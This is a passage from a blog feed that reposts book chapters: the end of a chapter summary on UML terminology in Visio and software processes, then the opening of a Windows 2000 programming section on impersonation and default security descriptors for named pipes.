section.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Finally, we suggested that you will almost certainly be doing UML modeling with a dedicated modeling tool, and that doesn't just mean a good drawing tool. Visio for Enterprise Architects represents such a modeling tool, no longer just a drawing tool, that we set out as the preferred tool on which the rest of this book has been based.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="para"&gt;In the main, Visio terminology has been used &lt;i class="emphasis"&gt;in this chapter&lt;/i&gt; so as to avoid confusion when you come to use the tool. Other modeling tools may use slightly different terminology and, in fact, the UML terms themselves have changed slightly over the years. To help with the transition to - or from - other books and tools, here is a summary of this chapter's Visio UML terms and the alternative terminology that you may encounter:&lt;/p&gt;&lt;br /&gt;&lt;div class="informaltable"&gt;&lt;br /&gt;&lt;table border="1"&gt;&lt;br /&gt;&lt;thead&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;th class="th" scope="col" align="center" valign="middle"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;&lt;br /&gt;&lt;b class="bold"&gt;Visio Terminology&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;th class="th" scope="col" align="center" valign="middle"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;&lt;br /&gt;&lt;b class="bold"&gt;Other Terminologies&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/thead&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Static Structure Diagram&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Class Diagram&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Package&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Category&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;&lt;br /&gt;&lt;b class="bold"&gt;&amp;lt;&amp;lt;uses&amp;gt;&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;&lt;br /&gt;&lt;b class="bold"&gt;&amp;lt;&amp;lt;import&amp;gt;&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;State&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Activity (on Activity Diagram), State (on Statechart)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Statechart Diagram&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;State Transition Diagram&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Transition (fork)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Synchronization (start)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Transition (join)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Synchronization (end)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h3 class="sect3-title"&gt;&lt;br /&gt;Process Summary&lt;/h3&gt;&lt;br /&gt;&lt;p class="first-para"&gt;As to which software development process you should adopt, two were picked out two for discussion. The Unified Process, because it's the natural companion for the Unified Modeling Language, and the Microsoft Solutions Framework, because it's the Microsoft process offering. What these have in common with each other - and with other good object oriented software processes, such as the Select Perspective - is that they are:&lt;/p&gt;&lt;br /&gt;&lt;ul class="itemizedlist"&gt;&lt;br /&gt;&lt;li class="first-listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Iterative and incremental&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Use-case driven&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li class="listitem"&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Focused on Risk Management&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="para"&gt;You also have a choice of &lt;b class="bold"&gt;eXtreme Programming,&lt;/b&gt; traditional &lt;b class="bold"&gt;waterfall,&lt;/b&gt; or &lt;b class="bold"&gt;RAD,&lt;/b&gt; and as the UML notation is independent of the process, ultimately the choice is yours.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;In the next chapter, to complete our foundations for working with Visio for Enterprise Architects, we'll take a tour of the Visio environment and look at some of the available diagram features relevant to the software developer.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;TABLE BORDER="0" CELLSPACING="0" CELLPADDING="0" WIDTH="100%"&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="3" HEIGHT="10"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="25%" ALIGN="left"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="75%" ALIGN="center"&gt;Team FLY&lt;/TD&gt;&lt;br /&gt;&lt;TD CLASS="b24-chunknavigate" WIDTH="25%" ALIGN="right"&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="3" HEIGHT="10"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;TR&gt;&lt;TD COLSPAN="1" WIDTH="482" BGCOLOR="#FFFFFF"&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-8743942817713749966?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/8743942817713749966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/summary_13.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8743942817713749966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8743942817713749966'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/summary_13.html' title='Summary'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-2848838047611235072</id><published>2009-11-13T07:49:00.015-08:00</published><updated>2009-11-13T07:49:20.512-08:00</updated><title type='text'>13.9 Impersonation</title><content type='html'>&lt;br /&gt;&lt;TABLE width=100% bgcolor=white border=0 cellspacing=0 cellpadding=5&gt;&lt;TR&gt;&lt;TD&gt;&lt;br /&gt;&lt;TABLE border=0 width="100%" cellspacing=0 cellpadding=0&gt;&lt;TR&gt;&lt;td align=right width="15%" class="headingsubbarbg"&gt;&lt;font size="1"&gt;&amp;lt;&amp;nbsp;BACK&amp;nbsp;&amp;nbsp&lt;font size="1"&gt;NEXT&amp;nbsp;&amp;gt;&lt;/td&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;br /&gt;&lt;font color=white size=1&gt;[oR]&lt;/font&gt;&lt;br&gt;&lt;br /&gt;&lt;FONT size="-1"&gt;&lt;br /&gt;			&lt;H3&gt;13.9&lt;br /&gt;Impersonation&lt;/H3&gt;&lt;br /&gt;			&lt;P&gt;&lt;br /&gt;				Sections 11.4 and 11.5 deal with named pipes. In all of the code samples in those sections, a named pipe server runs on one machine, and a named pipe client connects to the server and sends it messages. The client can run on the same machine as the server, or it can run on a different machine and connect over the network. You may recall that all through those sections you were warned that if you run the client on a different machine, &lt;i&gt;you should make sure that the logon ID and password used on the server and client machine are the same.&lt;/i&gt; The reason for this admonition stems from the way that the security system handles default security descriptors.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;The named pipe code in Chapter 11 creates all of its pipes with the following sort of call:&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;			&lt;Pre&gt;&lt;br /&gt;				&lt;br /&gt;/* Create a named pipe for receiving messages */&lt;br /&gt;ssnpPipe=CreateNamedPipe("\\\\.\\pipe\\ssnp",&lt;br /&gt;  PIPE_ACCESS_INBOUND,&lt;br /&gt;  PIPE_TYPE_MESSAGE | PIPE_WAIT,&lt;br /&gt;  1, 0, 0, 150, 0);&lt;br /&gt;&lt;br /&gt;			&lt;/pRE&gt;&lt;br /&gt;&lt;br /&gt;			&lt;p&gt;The last parameter in the list is the security-attributes parameter, and it is set to 0. This tells Windows 2000 to create a &lt;i&gt;default security descriptor&lt;/I&gt; for the new pipe. The default security descriptor contains a default DACL. If you go back to Section 13.6 and run the access token dumping program in Listing 13.5, you can see what your default DACL contains.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;			&lt;P&gt;You will notice that your default DACL is specific to you. It allows only you or the Windows 2000 system itself to access the object. This is fine for normal objects like processes, threads, and semaphores, because you are the only one logged into the Windows 2000 machine. However, when this default DACL is applied
